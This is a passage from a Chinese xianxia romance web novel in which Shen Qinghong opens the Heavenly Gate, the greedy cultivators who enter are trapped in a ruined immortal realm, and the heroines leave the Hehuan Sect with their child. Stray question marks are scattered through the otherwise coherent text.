娄危雪扶着沈清鸿站在旁边,虽然花醉月做了不少错事?,也给她带来过麻烦,但是在合欢宗的那段时间,花醉月对她很好。 如?今看到花醉月死了,娄危雪心底也不太?好受,她胸口闷闷的,像是压了一块沉重的石头。 沈清鸿见状,安慰道?:“花醉月已经?为你娘亲报仇了,哪怕代价是死,她也是甘愿的,反倒是让她独自活在这个没有你娘亲的世界,对她而?言才?是煎熬。” 她曾眼睁睁的看着娄危雪在她的面前倒下,很清楚那是怎样的痛不欲生。 好在她是幸运的,兜兜转转,娄危雪重新回到了她的身边。 沈清鸿的嗓音清清冷冷的,娄危雪却听?到出?温暖的味道?。 她勾住沈清鸿的手指,“清鸿仙尊,有你在,真好。” 沈清鸿并未言语,只是回握住了娄危雪的手指。 虽然娄青涯已经?死了,但是场上的战斗并没有停止,那些人?已经?杀红了眼,满脸疯魔。 有人?冲破包围,刺向沈清鸿,沈清鸿全身的魔力已经?在先前杀娄青涯的时候用掉了,此刻没有一点的还手之力。 关键时刻,娄危雪挡在沈清鸿身前,拦下了这道?攻击,将那个敢来杀沈清鸿的人?击飞出?去。 眼下的情况还未彻底解决,不是她和沈清鸿温情的时候。 不过好在,号召众宗门来此的人?已经?死了。 娄危雪提剑立在沈清鸿身旁,运气朗声高呼:“娄青涯已死,你们还不停手!” 有人?听?到后茫然片刻,停下了攻击。 但有人?拿着武器,依旧打个不停。 有人?冷笑,满眼狰狞,“娄青涯死了,同我们何干,我们要的是天书九卷!还有白泽!” 此言一出?,那些原本停止攻击的人,再次拿起武器。 是啊,他们要的是天书九卷,是白泽,是飞升的机会! 一个娄青涯而?已,死便死了。 剩下残存着的人?向着沈清鸿包围而?来,哪怕有天一宗、合欢宗还有异兽们的帮助,也阻挡不了他们前进的步伐。 血流成河,到处都是人?和异兽的尸体,那些还站着的人?们,武器和衣服上都沾染着鲜红的血液,他们发髻散乱,满眼赤红,在鲜血浸染的土地上,挥舞着手臂。 周遭是迸现的法光,还有混着刀剑相击的惨叫。 这哪里还是人间,简直是炼狱! 娄危雪不可置信的看着这群人?,宛如?在看一群疯子。 沈清鸿已经?用空了魔力,需要调息休息,可眼下的情况怎么能由?得她休息。 她眉头紧紧皱在一起,手指蜷缩,握住剑柄。 正当她准备迎击之时,娄青涯倒下的那处传来一阵金色光亮,晃了一下沈清鸿的眼睛。 因为主人?的死亡,空间戒指失去效用,里面的东西掉了出?来。 令人?意外的是,娄青涯的空间戒指中只存放了一样东西。 沈清鸿定睛看去,那是一册书简,样子看起来有点眼熟。 想到什么,沈清鸿抬手,一个东西出?现在她的手中,那同样是个书简,只不过书简最?右侧的上方孔洞中,原本穿着丝线的地方长?了一截,像是之前还连接着别的东西。 娄危雪看到沈清鸿手中出?现的东西,并不觉得沈清鸿会在这个时候召唤无用的东西出?来。 一个猜测出?现在她的脑海,“这难道?是……” 天书九卷? 娄危雪怕被人?听?到,默默做着口型,沈清鸿满脸严肃,见状微微颔首。 出?现在沈清鸿手上的正是天书的第九卷 ,而?娄青涯身旁的物品同沈清鸿手中的一模一样,是天书剩下的八卷。 得快点拿回来才?行。 沈清鸿正要去取,掉在地上的八卷天书和她手中的最?后一卷天书,突然散发出?一阵璀璨耀眼的光芒。 所有人?都被这一变故所吸引,原本打斗在一起的人?,停下手中攻击,向着沈清鸿这边看来。 只见八卷天书被沈清鸿手中的第九卷 天书牵引着,朝着沈清鸿飘去。 哪怕不认识天书九卷,众人?也从这奇异的现象中猜测出?来。 有人?高呼:“那是天书九卷!” 瞬间,所有人?都被这句话惊动,原本静止的人?群重新沸腾起来。 夺到天书九卷便可飞升,他们没人?能够抵抗住这个诱惑,纷纷攻来,试图在八卷天书回到沈清鸿手中之前,将之夺走。 当初娄青涯说的好听?,说是会共享天书九卷,用天书九卷召唤天门,让大家?一起飞升,但是谁都不能保证,是不是只有那个召唤出?天门的人?才?可以进。 眼下有能够独占宝物的机会,他们怎么会放过。 这一刻,他们哪里还记得盟友的身份,谁敢阻拦那便杀谁。 正是由?于他们不齐心的这种内斗,天书八卷最?终还是回到了沈清鸿手中,同剩下的第九卷 天书合并为一。 刹那间光芒大作,天书九卷散发出?金色的光芒,脱离沈清鸿的手中,在空中悬浮展开。 一个个众人?不认识的上古文字从天书九卷中飞出?,化为道?道?流光,钻入沈清鸿的眉心。 沈清鸿脑中嗡鸣不止,瞳孔中由?入魔而?引起的红色在褪却,渐渐染上金芒,身体也不受控制的变回了白泽。 “清鸿仙尊!” 娄危雪被这一变故弄的措手不及,她紧张无比,试图靠近沈清鸿,可天书展开,环绕住沈清鸿的周身,不让任何人?靠近。 天书一视同仁,所有人?都被天书拦下,包括那些心怀不轨想要抢夺天书的人?。 他们只能眼睁睁的看着,天书上的字,一个个没入沈清鸿眉心。 不知过了多久,金色光芒才?逐渐消失,天书九卷重新恢复大小,静静的悬浮在沈清鸿身前。 此时,沈清鸿的瞳孔已经?完全转变成了金色,她变回人?形,将天书九卷握入手中。 有人?眼红大喊:“沈清鸿!交出?天书九卷!” 有人?在附和,“对,交出?天书九卷,我们要开天门,入仙途!” 有人?威胁,“交出?天书九卷!否则今日?就是你们的死期!” …… 场上沈清鸿这边的人?伤痕累累,少了许多,而?对方却人?多势众。 按照这个发展进行下去,她身边的人?早晚会被杀害耗尽。 听?着喊声,沈清鸿看向众人?,金色的瞳孔如?天上的神祇冰冷漠然,只有在扫视到娄危雪身上时,才?恢复点温度。 “好,既然你们这么想去仙界,那我就成全你们!” 第63章 下一刻,沈清鸿双手?翻转结印,身上的衣袍被风吹起?咧咧作响,黑色长发?飘浮,金色的瞳孔中光华流转,璀璨夺目,一个繁复的金色阵法出?现在?她的手?上。 沈清鸿神色肃穆,抬手?向上,打出?阵法,金色的阵法逐渐变大,遮蔽天空。 “天门,开!” 话?音落下,天地变色,云层翻涌,周围风声呼啸,所有人衣袍翻飞,仰头望着天上。 只见?半空之中,空气?出?现肉眼可见?的波动,空间扭曲,一条缝隙凭空出?现,然后越来?越大,直至停止。 一个金色的大门出?现在?半空,大门不?知道是用什么材质做成的,上面?流转着暗光,此刻正向里大开着。 “这就是天门,走进去?,你们就可以到达仙界。” 沈清鸿的声音响起?,语气?淡漠又平静,没有因为天门出?现而出?现半分波澜,仿佛这就只是一个寻常的大门,没有任何特殊的作用。 倒是那些来?攻打合欢宗的宗门人士,神情颇为激动,欣喜若狂。 他们的嘴角高高上扬,眼睛因为兴奋而大睁着,满目癫狂。 “是天门!天门啊!” “升仙!我要升仙!” “快走,快走!” …… 还剩下的宗门人士,全部御剑腾空,迫不?及待地向着半空中的天门靠近。 临到近处,隐约可以看到门后的世界,里面?云雾缭绕,有仙乐传出?,叫人如痴如醉,一副绝美的画面?在?他们面?前缓缓展开。 他们看到灵气?充沛的世界,里面?绿草如茵,寻常难以获得?的上品灵草在?仙界遍地都是,还有许多奇花异草,是他们见?都没见?过的。 河水波光粼粼,闪耀着细碎的光芒,每一滴水流都夹杂着难以言说的灵气?。 一群仙女穿着如云似的衣裙,在?河水边嬉戏打闹,她们巧笑嫣然,美目流转,似是看到了门外那些宗门人士,向着他们伸出?了手?指,似乎在?邀请他们进来?。 “哈哈哈,我要成仙了,我要成仙了!” 有人一马当先,迈步走入门内。 后面?的人哪里还能够忍得?住,急切切的推搡着前面?的人。 “快走快走!” 那些人一个个的走入门内,但也有部分人,心中有所顾虑。 一位陈姓修士,站在?门边,心中犹豫。 陈修士看向沈清鸿,“你怎么会突然改变主意,同意打开天门?” 沈清鸿闻言嗤笑一声,“你们来?了这么多的人,不?就是为了逼我交出?天书九卷,召天门,入仙途?” “我这么做,只是为了保护我想要保护的人。” 站在?陈修士身后的人,见?陈修士一直站在?门口不?进去?,将陈修士拽开。 “不?进去?就不?要再这里挡门碍事。” 说完这话?,这人满脸欣喜的走入门内。 有认识陈修士的人,见?他这般犹豫,忍不?住劝说。 “哎呀,老陈,沈清鸿她们人少,我们这边人多,若是她不?打开天门,早晚都是个死,你别犹豫了!这可是难得?的机缘啊!莫要错过!” 沈清鸿冷漠的看着,突然开口:“我只给你们半个时辰的时间,时辰一到,我就会关闭天门,到时候你们就算想要进去?,我也不?会再给你们机会。” 此言一出?,天上众修士瞬间乱了套,劝说陈修士的人,更?是急的不?行。 “我不?和你说了,我在?仙界等你!” 说完这句话?之后,这人便匆匆忙忙的步入天门,身影消失。 站在?门外的人,甚至还能听到天门里面?人的笑声与说话?声。 “这里的灵气?比外面?简直充裕百倍!” “哈哈哈,我成仙了,成仙了!” …… 娄危雪站在?沈清鸿的身边,她闻着空气?中的血腥气?,看着周围倒地的尸体,入目满是红色一片残败,此情此景与天上那些兴高采烈地宗门人士形成了鲜明?的对比。 这些修士为了一己私欲,打着正义的幌子,大开杀戒,可是现在?他们却逼迫的清鸿仙尊开了天门,堂而皇之的走了进去?。 娄危雪眉头紧紧皱在?一起?,“清鸿仙尊,难道就这么让他们进去?了吗?” 沈清鸿拉住了娄危雪的手?,“让他们去?吧。” 随着时间一点点流逝,不?少修士都步入了天门。 沈清鸿看着站在?外面?剩下的那些人,冷漠说道:“留给你们的时间不?多了。” 时间追着人走,烧灼着剩下的人的心,那些原本心有犹豫的人,看着里面?的美景,听着先前进去的同僚们的对话?,终究是按捺不?住。 他们只有这一次机会,若是错过怕是会追悔莫及。 一个又一个的人走入了天门之内,在最后一个人的身影也从空中消失之后,时间也已至尾声。 半个时辰已到,沈清鸿双手?再次结印,半空之上的天门,向着中间合拢,大门被紧紧的关上,然后从上下两端开始,逐渐缩小,直至消失不?见?。 敌人已经消失,剩下的人心神松懈下来?,纷纷收起?武器,累的摊倒在?地上。 也有人拖着伤痕累累的身体,寻找着自己的好友同伴。 李寻真、玲溪和李寄春等人身上也受了不?少伤,她们朝着沈清鸿走来?。 娄危雪低着头,情绪并不?算高,依然为那些害人的修士,走入天门成仙而耿耿于怀。 “他们杀了那么多人,竟然就这么让他们成了仙。” 沈清鸿闻言勾唇冷笑,“成仙可是要付出?代价的。” 娄危雪讶异一瞬,察觉到了不?对,“这话?是什么意思??” 李寻真等人的眸中也同样闪过了疑惑,看着沈清鸿,等着她的回答。 沈清鸿没有卖关子,直言道:“天书九卷合并的时候,我受到了传承,除了上古法术之外,还有一段关于天门的记忆。” “我们白泽一族一脉单传,世代以守护天门为己任……” 沈清鸿缓缓诉说着,将传承中得?知到的东西全部说了出?来?。 百万年前,天界灵气?浓郁,无数的修道之人都可以飞升成仙,但他们不?知飞升成仙其实就是一个骗局。 天生的神族无法通过天门离开神界进入人间,但是神族却需要人类的供奉才?能获得?长生。 于是祂们故意制造灾难,又打着为天下苍生的名号,展现神迹,往人间投送了许多的的天材地宝,功法秘籍,让人飞升成仙。 那些飞升的人全部都成为祂们各自势力中的一员,被祂们打上神印,受制于祂们。 祂们又控制着那些飞升的仙人,让仙人离开仙界打着祂们的旗号拯救人类,从而获得?信徒供奉,达到长生的目的。 后来?一位不?知情飞升的修者,在?通过天门时机缘巧合认识了镇守天门的神兽白泽,两人相恋,发?现了人间灾祸的真相。 修者不?忍,于是在?天门处劝说飞升之人返回人间,最终却被打上了背叛者的称号,遭到了天神一族的镇压,修者陨灭,白泽拼死想要将消息传递出?去?,却遭到了天神一族的禁锢。 秘密再次被掩藏起?来?,信奉祂们的人越来?越多,祂们的神力也越来?越高,欲望随之水涨船高。 可是众神之间同样分为三?六九等,祂们不?再满足自己的地位,开始抢夺起?同伴的信仰之力,人间更?是灾祸连连,天下生灵陷入水深火热之中,哪怕是那些被神祇派去?展示神迹的仙人,都救不?了这如地狱般的人间。 诸神之战爆发?,仙界大乱,无数仙人想要离开仙界,但他们身上有神明?的印记,根本无法擅自离开。 神祇们的力量太过强大,仙界不?堪承受他们的神力,开始逐渐崩溃,诸神陨灭,他们的尸体却化为黑水,污染了整个仙界,仙界崩塌,灵气?不?在?,无数仙人死去?,仙界化为炼狱。 可是那些由众神化出?的黑色污染物,并未停止污染,向着天门涌去?,试图沾染人间,这时候白泽出?现,用自己纯净力量拼写爆体的风险,吸收着死去?的仙人溢出?的力量,设置了结界,将污染物给锁在?了第九重?天上,同时关闭天门,从此世间在?无人可飞升成仙,但白泽也因此消亡。 上一任的白泽就是沈清鸿的娘亲,而沈清鸿是被她娘亲给丢下来?的,由于刚出?生不?久白泽生长缓慢,又没有得?到足够的灵气?,这么多年来?沈清鸿一直在?陷入沉睡,缓慢的汲取着人世的灵气?,直到二十年前才?苏醒,被沈清鸿的师尊捡到,带回天一宗。 众人都被沈清鸿口中的事情给惊到了,想不?到看着光鲜的天界,竟然是这个样子。 娄危雪想到之前那些修士看到的画面?,好奇询问:“既然如此,那他们在?天门中看到的是什么?” 沈清鸿闻言解释,“那是仙界以前的样子,只不?过他们看到是虚无的幻境,走进去?的人也会陷入在?幻境之中。” “但是当他们挣脱出?幻境,就会看到真实的仙界,不?过只有白泽一脉才?可以打开天门,天门已被我关闭,他们已经出?不?来?了。” 听到这里玲溪出?声道:“这些人也是咎由自取,若不?是他们心术不?正,也不?会发?生这种事情。” 第64章 天门内,成功进入仙界的修士们,脸上满是抑制不住的兴奋。 “哈哈哈,想不到我有一天也能来这仙界。” 说话的是一个青衣修士,他的天赋并不算高,如今已有两百多岁,但也只修炼到化神后期。 根据上古流传下来的记载,只有修炼至渡劫,才可以来到天门,参与白泽的试炼。 渡劫以上,人间的灵气便不再够他们突破,除非通过白泽考验,到达仙界,方可突破。 另一人笑着应和:“是啊,我这个境界,放在以前,可是连天门的边都摸不到。” “没关?系,眼下咱们来了仙界,这里灵力充沛,又有数不清的天材地宝,把境界修炼上去是早晚得事情。” 世间并不是所有人都有娄青涯那般的机缘,能够修炼到渡劫,别说是渡劫,当世能够修炼到大乘的人,都已经是凤毛麟角。 他们这些人这次之?所以能够这般顺利的进来,全是因为沈清鸿主动打开了天门。 修士们都觉得自己这是得了天大的机缘,满面红光,一个个脊背挺的笔直,昂首挺胸,仿佛他们就?是世界的中心一般。 之?前质疑沈清鸿的陈修士,感受着仙界的灵气,只觉神清气爽,在他好?奇的打量着周围的环境时,却感觉肩膀被人拍了一下。 “哈哈哈,老陈,你来了。” 跟陈修士说话的,正是之?前在天门外面劝说他不要错过机缘的人。 陈修士见状,转身朝那人拱手一笑。 “孙兄。” 孙修士嘴角高高翘起?,脸上是肉眼可见的高兴。 “我就?说你是想多了吧,你看这里面多好?。” 陈修士跟着笑了一下,“之?前是我多虑了,若不是孙兄提醒,我怕是要错过这天大的机缘。” “那不算什么,”孙修士摆手一笑,又指了指远处,“走?吧,莫要在这站着了,我们如今也是仙界的仙人了,先去那里和前辈们,打个招呼吧,说不定?还能结个善缘。” 陈修士微微颔首,“如此也好?。” 两人结伴,向着远处走?去。 他们去的地方正是之?前在外面看到的,只不过他们距离那处还有些遥远,只隐隐约约能看到个人形,并不如在外面时看的清楚。 除了他们两个,剩下的修士在暂时平定?了内心的欢喜后,也向着那处走?去,毕竟他们刚来仙界,人生地不熟的,还是得找仙界的先辈了解一下。 于是一众修士,浩浩荡荡的向着绿茵地出发。 在走?了差不多快半个时辰之?后,远处看着依旧是远处,没有任何变化。 人群中出现骚乱,“怎么回事,我们都走?了这么久了,怎么距离没有一点拉近。” “有没有人知?道这是什么情况,还是说我们都被沈清鸿给骗了!” 此言一出,如惊涛骇浪直直拍在每个人的心上。 “此处灵力确实比人间充裕,沈清鸿还没那个能耐可以改变天地灵气。” 一位看上去三十多岁的女修,闻言也道:“这到底是仙界,同人间还是不一样的,这或许只是我们肉眼看到的距离,实际上还很?遥远,莫要心急,在走?走?看吧。” 说话的这位女修在这群修士中修为可排前三,平日也颇有威望。 众人听?到后,见她神色淡定?,暂时都按压下了性子。 一群人加快速度向着前方赶去,因为心中藏了点事,他们已经没了刚来时的兴奋。 就?这么又走?了一个时辰,场景依旧没有分毫变化。 明明太阳就?挂在天上,洒下的阳光灿烂明媚,众人身上却传来一阵寒意。 有擅长阵法的修士,在周围观察了一通,可是没发现任何的异常。 一切看起?来是那么的正常,但是他们偏偏无论怎么走?都走?不到尽头。 “这不对劲,此处怕是有什么蹊跷。” 有人六神无主,“现下该怎么办?” 这时那女修又说话了,只是表情没了之?前的从容,变得严肃起?来,眼神中也夹杂了几分疑虑和谨慎。 “我们人多,大家都走?在一起?,不要分散,若是出事,也方便应对。” 人多力量大这句俗语可不是白说的,此处不是他们熟悉的地方,又有些异常诡异,修士们都不敢随意放肆,全都抱团走?在一起?。 只是无论他们怎么走?,远处的场景都没变化,最后他们都纷纷祭出了自己的法宝武器。 有人御剑,有人乘飞舟,还有人直接召唤出了机关兽,他们用着自己最快的速度,向着前方赶去。 这般又行?了三个时辰,大半天的时间过去了,头顶的太阳一动未动,光影没有丝毫变化,整个仙界宛如一滩死?水。 但周遭的场景好?在是有了变化,他们的面前出现了一面泛着波纹的透明结界,这个结界很?长,左右两变望不到尽头,仿佛贯穿仙界,将两个地方给分割开来。 有人立于结界面前,皱眉打量着这个拦住他们去路的东西。 “这是什么?” 有人猜测,“难不成就?是因为这个结界,我们才会一直到不了远处?” “管它是什么,打碎不就?好?了。” 有鲁莽的人,二?话不说对着结界动了手,只不过那个人的攻击打上去,仿佛是被吸收了一般,没对结界造成任何的影响。 场上修士惊疑不定?,纷纷试探起?来,但是他们这么多人,却没有一个人能够破解掉面前的结界。 众人束手无策,陌生又诡异的环境,让他们内心无比焦躁。 “该死?!” 有人烦躁恼怒,一脚踹向结界,这一下可不得了,他的腿没有受到任何阻挡,就?这么直接穿过了结界。 在众修士看来,就?是这个人发火踹了结界一脚,然?后腿就?这么凭空消失了。 这个人也没想到被众人法术无论怎么攻击都没变化的结界,就?这么让他一脚给踹进去了。 他的腿上没有传来任何痛感,但也足够他大惊失色。 他下意识的将腿收回,于是众人眼睁睁的看着,他那消失了半截的腿,又这么回来了。 “这,这这!” 这人瞠目结舌,一时说不出完整的句子。 他吞咽了一下口水,试探着又朝结界伸出了腿,没感受到任何阻碍,然?后他又再次将腿完好?无损的收了回来。 有胆子大的,看了看面前的结界,伸出手去,如同那人一般,手穿过去之?后,同样又收了回来。 不知?道是不是在人间养成的习惯,他们这些人平日看到结界,第一反应都是想着用法术破阵,还从未有人会去动手拍打结界。 以至于在看到这个结界的时候,众人无一人对结界上手脚,以至于直到踹结界的人出现,他们才发现这一端倪。 有人惊疑不定?,“这究竟是怎么回事?” “是不是穿过这道结界,我们才算是到达真正的仙界?” “我们看到的场景恐怕是这个结界后面的,要不进去看看?” 女修士见状阻拦,满眼谨慎:“且慢,这道结界出现的过于奇怪,还是先找找看有没有别的出路吧。” 虽然?目前看来,穿过结界似乎不会有任何影响,但是保险起?见,众人还是按照女修士的说法,找寻别的出路了。 只不过他们来到这里就?花费了不少时间,此处又什么都没有,除了面前的水波纹结界,众人没再找到任何的异常。 一直在这里停留也不是个办法,在没找到其他出路的情况下,众人最终还是选择踏入结界。 他们一个个的穿过结界,在看清眼前的世界时,全都被惊住了。 空中没有太阳,只有一轮血色的月亮高高挂起?,红色的光芒笼罩住了所有人,阴冷无比,哪怕他们已经是有一定?境界的修士,都有些抵抗不住。 这里没有他们先前看到的美景,只有一片荒芜死?寂。 大地破碎,草木枯萎,到处都是断壁残垣,天地间灵气稀少,几近于无。 这群人纷纷慌了神,这同他们认知?中的仙界不一样。 “不,我不要留在这里!我要出去!” 有人一脸崩溃,转身想要离开,但是不知?道什么时候,他们来时穿过的结界已经消失不见。 他们被困在了这里。 有人试图使用法术寻找来时的方向,但是法决刚成,就?有粘稠的黑色液体从地下渗出,如同有意识般,从那人的脚下开始,渗透衣服,一点点的往上攀爬。 “啊!!!走?开,走?开!” 那人发出凄厉的惨叫,他感觉身体内的灵力和生气在极速的流逝。 他试图用法决清除掉黑色的物质,可是根本?没有作用,在他使用法术的时候,黑色物质反而?攀爬的更快了,此时已经来到了这个人的手臂。 “帮帮我,帮帮我!我不想死?啊!” 他伸手去抓身边的人求救,手上的黑色物质沾染到身边人的身上,在那人身上开始蔓延。 “不要碰我!啊!” 剩下的人见状生怕自己受到牵连,赶忙退开。 有些人不知?道这黑色物质因何出现,动用法术企图帮助那被黑色物质缠身的两人,可是法术刚起?,他们也遇到了同样的事情。 人群大乱,纷纷躲避着,但依旧有不少人受到牵连。 没多久这些被黑色物质缠身的人,所有肌肤衣物都被黑色的物质包裹,化为一个个雕像,表情狰狞痛苦,是面对死?亡的害怕,与入门的悔恨。 天上的血月静静散发着光芒,照耀在这些变成雕塑的人身上,更添诡异。 场上一片静默,刚刚的变故让他们直接减少了至少有一半的人,剩下的人满眼惊惶,满是恐惧,心脏爬上凉意,浑身如坠冰窖。 “这不是仙界,我要回去!我得回去!” 有人情绪崩溃,膝盖一软跪了下去,“我不要在这里,我错了,沈清鸿,求你放我出去吧。” 只是这人的哀求沈清鸿并不能听?到,也不会给予任何帮助。 他们不敢动用法力,也找不到来处,将会被囚禁在这个没有灵力,一片荒芜的空间,心怀悔恨,直到死?去。 【END】 第65章 合欢宗内,剩下的?合欢宗弟子们拖着伤痕累累的?身体?,探查着那些躺在地上的?人,确认着他们的?生死。 花厌身上多了许多伤口,衣服被划破,血色浸染,头发也松松垮垮的?束在头上。 一个合欢宗的?弟子看到后,走过去,想要搀扶住花厌。 “少?主,你受伤了,我送你去药堂,让长老给你看看吧。” “不必,”花厌挥开了弟子的?手,反而问道:“你有没有见到玲溪和我师傅。” “我没看到宗主,不过玲溪的?话,似乎在那边……” 弟子说着,伸手指了个方向?,花厌见状,忙向?这弟子指的?方向?去了。 还没到近前,花厌就看到玲溪身边围着的?娄危雪她们,她下意识的?想要上前去,但是刚抬脚迈出一步,就又止住了。 这几年来,她给玲溪传了很多信,但是玲溪始终不愿意见她,可见是不想看到她的?。 不过只要玲溪没事,那便?好了。 现在她还是不要去打扰了,先找师傅吧。 花厌垂眸落寞的?转身,换了个方向?,拖着遍布伤痕的?身体?在不远处找到了人。 这个时?候花问宵的?身边已经站了些人,都是合欢宗的?弟子们,只是她们看起来都很无措为难。 见到花厌过来,她们纷纷让开了位置。 “少?主。” 花厌走上去,看到了满头华发的?花问宵,以及死在她怀中的?花醉月。 她知道师傅对花醉月的?看重,也体?会了爱一人时?的?感觉。 虽不能感同身受,但也明白。 沉默半晌,花厌轻轻唤了一声?。 “师傅。” 花问宵没有办法反应,只是低头看着怀中的?人,宛如已与世界隔绝。 边上的?合欢宗弟子见状,忍不住说道:“少?主,没用的?,我们叫了宗主很多次,宗主都没反应,也不同我们去疗伤,若是我们有人敢碰她,她会直接把我们震飞。” 花厌闻言,眉头轻轻皱了起来。 “师傅,前宗主已经死了。” 一个死字,仿佛刺痛了花问宵的?神经,她满目通红。 “都是我的?错,我应该把她关在宗内,不让她出来的?。” 花厌叹了口气,“师傅,这不是你的?错,就算你关住了前宗主,前宗主也会想办法出来的?。” “人死不能复生,师傅,你还是先放开前宗主吧。” 其他弟子闻言,跟着应和:“是啊,宗主,合欢宗经此一战元气大?伤,我们都还等着你主持大?局呢。” 花问宵却摇了摇头,“合欢宗遭此一劫,同我也有关系,这个宗主,我当?不得。” 她说着,伸手从?腰上拽下宗门令牌,递向?花厌。 “你是合欢宗的?少?主,以后合欢宗就交由你了。” 花厌面色大?骇,没有接。 “师傅!万万不可!” 花问宵却由不得她拒绝,强硬的?把令牌塞到了花厌的?怀中。 “师傅!” 花厌拿着令牌,手足无措?*?。 花问宵却没再?看她一眼,抱起花醉月,向?着远方走去。 合欢宗的?人和花厌想要去拦,但是被花问宵一道法术给困在了原地,只能眼睁睁的?看着花问宵远走不见。 另一边,娄危雪和沈清鸿已经处理好伤口,换了衣服,来到合欢宗一处藏人的?密室。 当?初得知娄青涯要攻打合欢宗,二人没有办法,在花醉月的?帮助下,选择将沈青筠暂时?给藏在这里。 娄危雪刚把密室的?门给打开,就看到沈青筠朝着自己飞速跑来。 “母亲!娘亲!”沈青筠一把抱住娄危雪的?腿,眼泪控制不住的?流了出来,“呜呜呜,你们终于过来了。” 娄危雪无奈,弯腰将沈青筠给抱起。 “哎呦,我的?小青筠,让母亲看看,青筠怎么哭了呢。” 先前娄危雪和沈清鸿请将沈青筠送到这里的?时?候,说过会来接她,可是等了好久沈青筠都没有等到人。 外面又有那般大?的?动静,沈青筠一个人待在密室里,连个说话陪伴的?人都没有,心中很是不安。 沈青筠搂住娄危雪的?脖子,抽抽噎噎的?说着:“呜呜呜,青……青筠等了好久,还以为……以为你们不要青筠了。” 娄危雪腾出一只手掏出手帕,给沈青筠擦拭着眼泪,温声?的?安抚着。 “怎么会呢,青筠可是我们的?宝贝,我们怎么舍得不要青筠呢。” “只不过母亲和娘亲有点事情?耽误了,这才来的?晚了些,青筠会怪我们吗?” 沈青筠闻言连忙摇头,她眨巴着泛着水雾的眼睛。 “不会,但是母亲和娘亲,你们下次要早点过来哦,青筠一个人真的好害怕啊。” 娄危雪冲沈青筠温柔一笑,擦掉沈清鸿流下的?泪水。 “没有下次了,这里的?事情?已经解决,以后母亲和娘亲不会随便?放你一个人的?,所以青筠不要哭了,好吗?” 沈清鸿站在旁边,看着母女二人,柔和了神色。 她伸手,轻轻摸了摸沈青筠的?脑袋。 “莫要哭了。” “好,好哦。” 沈青筠哽咽着,乖乖点头。 小孩子的?情?绪来得快,去的?也快,加上有娄危雪在旁边逗沈青筠开心,没多久沈青筠就喜笑颜开,重新恢复了元气。 三人回到在合欢宗的?临时?住处,这里事了,她们不是合欢宗的?人,不会在这里多做停留。 不过一切还要等事情?安定下来,毕竟合欢宗这次是受她们牵连。 若是花问宵没看在花醉月的?面子上收留她们,合欢宗也不会被娄青涯盯上。 两人身上伤势都不算轻,在外面打了一天了,此刻在安稳的?房间停下来便?觉疲惫,浑身的?伤口都在痛,于是早早的?便?休息了。 翌日,等沈清鸿和娄危雪醒来的?时?候,合欢宗外围死去的?人已经被全?部抬走处理完了,只不过一些血迹难以清理,残留在石砖地缝上,昭示着昨日大?战的?惨烈。 用完早膳后,两人一起去找了花厌。 花醉月死了,花问宵走了,花厌这个少?主便?成了宗主,只是面上怎么都看不出高兴。 花厌刚和身边的?一个弟子交待完事情?,抬眸就看到娄危雪和沈清鸿二人。 她面上没有什么表情?,冷淡询问:“你们怎么来了。” 沈清鸿走上前去,拿出一块玉牌递给花厌。 “合欢宗变成这样多少?同我有关,这个玉牌给你,如果以后你遇到什么困难就摔碎玉牌,我们会过来帮你。” “好。” 这玉牌她收的?起。 花厌没有半分客气,伸手接过。 娄危雪虽然不喜欢花厌,但是这次到底是花厌帮了她们。 她朝花厌拱手:“此番多谢,我和清鸿仙尊暂时?不会走,如果有什么需要帮助的?地方,可以同我们说。” 花厌应下,“我知道了。” 道谢完毕后,沈清鸿和娄危雪便?离开了。 刚刚回到住处,两人就见李寻真抱着沈青筠不知道和沈青筠说了什么,将沈青筠逗的?咯咯直笑。 李寻真感知到有人接近,转过身看到二人。 “你们回来了。” 沈清鸿点头打了个招呼,“师叔。” 娄危雪跟着喊了声?:“师叔。” 李寻真闻言看了她一眼,应下了。 “嗯。” “师叔此次过来,所谓何事?” 娄危雪意识到李寻真有事和沈清鸿说,朝沈青筠伸出了手。 “青筠啊,母亲带你出去玩好不好?” “好哦。” 沈青筠点头,乐呵呵的?转投入娄危雪的?怀抱。 娄危雪将沈青筠带走,屋内便?只剩下这师叔侄二人。 时?隔几年,李寻真难得和沈清鸿单独说话。 站在他面前的?人,看起来什么都没变,但似乎又有什么变了。 想到便?寻不到人的?那些年,李寻真有些挂念。 “清鸿,这些年你在外面,过的?怎么样?” 沈清鸿缓声?回答:“师叔放心,我过得挺好的?,青筠很懂事,危雪虽没有神思,但一直在我身边陪着我,也没有外事来打扰我们。” 听到沈清鸿这么说,李寻真便?放心了。 “等这里事了,你跟危雪那孩子带上青筠和我一起回天一宗吧,你的?师弟师妹们都很想念你。” 沈清鸿听后却摇了摇头,“师叔,我和危雪已经说好了,等合欢宗的?事情?解决后,就一起带着青筠四处转一转。” 李寻真沉默半晌,沈清鸿是被天一宗当?着未来宗主培养的?,这些年来沈清鸿也一直严格要求自己,做的?很好,但是也很累。 她身上压着师仇,压着宗门的?担子,如今好不容易报了仇,跟喜欢的?人在一起了,或许该放她自由了。 李寻真没有继续强求沈清鸿同他走,他拍拍沈清鸿的?肩膀。 “清鸿,师叔不强迫你,不过你记住,天一宗是你永远的?家,我们随时?欢迎你回来。” 沈清鸿弯唇一笑,“好。” 在天一宗待了那么多年,她早就把这些人当?家人了。 之?后沈清鸿和娄危雪又在合欢宗待了几天,一一同那些朋友和天一宗的?人告了别,期间也帮了合欢宗不少?忙。 终于所有的?事情?结束,两人在一个阳光明媚的?午后带着沈青筠离开了合欢宗。 娄危雪站在沈清鸿身侧,握住了沈清鸿的?手。 “走吧。” 沈清鸿回握住娄危雪,眼神温柔。 “好。” 变成白团子的?沈青筠从?娄危雪怀中露出了脑袋,兴致冲冲的?喊了一声?。 “出发!”—— 西图澜娅—— 西图澜娅——